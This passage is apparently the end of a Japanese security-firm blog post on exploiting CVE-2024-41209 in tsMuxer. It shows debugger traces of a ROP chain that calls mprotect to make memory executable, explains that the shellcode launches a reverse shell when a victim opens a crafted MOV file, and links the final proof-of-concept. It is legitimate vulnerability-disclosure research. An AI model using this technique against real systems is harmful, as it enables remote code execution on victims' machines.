      0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc>  ->  0xffffffb8fa1e0ff3  <-  retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
    0x627780 be81000000          <__deallocate_stack+0xd0>   mov    esi, 0x81
    0x627785 b8ca000000          <__deallocate_stack+0xd5>   mov    eax, 0xca
    0x62778a 488d3d37fe2e00      <__deallocate_stack+0xda>   lea    rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
 -> 0x627791 0f05                <__deallocate_stack+0xe1>   syscall
    0x627793 5d                  <__deallocate_stack+0xe3>   pop    rbp
    0x627794 c3                  <__deallocate_stack+0xe4>   ret
    0x627795 0f1f00              <__deallocate_stack+0xe5>   nop    DWORD PTR [rax]
    0x627798 488d3d29fe2e00      <__deallocate_stack+0xe8>   lea    rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
    0x62779f e81cb70000          <__deallocate_stack+0xef>   call   0x632ec0 <__lll_lock_wait_private>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- arguments ----
[+] Detected syscall (arch:X86, mode:64)
    mprotect(unsigned long start, size_t len, unsigned long prot)
[+] Parameter            Register             Value
    RET                  $rax                 -
    _NR                  $rax                 0xa
    start                $rdi                 0x0000000000901000 <main_arena+0x760>  ->  0x0000000000900ff0 <main_arena+0x750>  ->  0x0000000000900fe0 <main_arena+0x740>  ->  0x0000000000900fd0 <main_arena+0x730>  ->  ...
    len                  $rsi                 0x0000000000004000
    prot                 $rdx                 0x0000000000000007

gef> vmmap -n
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000903000 0x0000000000005000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rsp, $rdi, $r14
0x0000000000903000 0x0000000000940000 0x000000000003d000 0x0000000000000000 rw- [heap]<tls-th1>  <-  $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]

syscallを呼んだ後は、続くpop rbp; ret; でstack pivotに使ったガジェットにretしないようにstackをずらします。

mprotectを実行した結果、メモリ領域はrwxになっています。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
      0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0>  ->  0x0000000000735d00 <_IO_default_imbue>  ->  0x2e6666c3fa1e0ff3  <-  retaddr[1]
      0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read>  ->  0x70478b44fa1e0ff3  <-  retaddr[2]
      0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write>  ->  0x89495541fa1e0ff3
      0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek>  ->  0xe9707f8bfa1e0ff3
      0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close>  ->  0xe9707f8bfa1e0ff3
      0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat>  ->  0x8bf28948fa1e0ff3  <-  retaddr[3]
      0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc>  ->  0xffffffb8fa1e0ff3  <-  retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
    0x627785 b8ca000000          <__deallocate_stack+0xd5>   mov    eax, 0xca
    0x62778a 488d3d37fe2e00      <__deallocate_stack+0xda>   lea    rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
    0x627791 0f05                <__deallocate_stack+0xe1>   syscall
 -> 0x627793 5d                  <__deallocate_stack+0xe3>   pop    rbp
    0x627794 c3                  <__deallocate_stack+0xe4>   ret
    0x627795 0f1f00              <__deallocate_stack+0xe5>   nop    DWORD PTR [rax]
    0x627798 488d3d29fe2e00      <__deallocate_stack+0xe8>   lea    rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
    0x62779f e81cb70000          <__deallocate_stack+0xef>   call   0x632ec0 <__lll_lock_wait_private>
    0x6277a4 e924ffffff          <__deallocate_stack+0xf4>   jmp    0x6276cd <__deallocate_stack+0x1d>

gef> vmmap -n
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rcx, $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000901000 0x0000000000003000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r14
0x0000000000901000 0x0000000000903000 0x0000000000002000 0x0000000000500000 rwx /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rsp, $rdi
0x0000000000903000 0x0000000000905000 0x0000000000002000 0x0000000000000000 rwx
0x0000000000905000 0x0000000000940000 0x000000000003b000 0x0000000000000000 rw- [heap]<tls-th1>  <-  $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]

後は、シェルコードを配置したメモリ領域にretするだけです。

1番目のステップで作成したシェルコードが実行され、execveによってリバースシェルが起動します。

最終的なエクスプロイトコードを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_final_poc.py

以下の画像は、 /bin/sh/ -c "id; date" をexecveシステムコールに渡して実行した結果です。文字列としてリバースシェルを起動するコマンド列を用意すれば、victimがクラフトされたMOVファイルを開いた際に、別のデバイスからvictimのシェルに接続できてしまいます。

任意コード実行の様子

まとめ

Fuzzerが発見したクラッシュを解析し、Exploitコードを開発するまでのプロセスを解説しました。

脆弱性の根本原因を特定し、最小のPoCを作成し、コード実行を実現するためのパズルを組み立てる思考の流れは、CTFのそれとも近く、とても楽しいものです。

本脆弱性の発見・報告と本記事の執筆に携わったArataとiwashiiraは、リチェルカセキュリティでパートタイマーとして働いています。当社には他にもバイナリ解析の領域で若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひカジュアル面談にお申し込みください。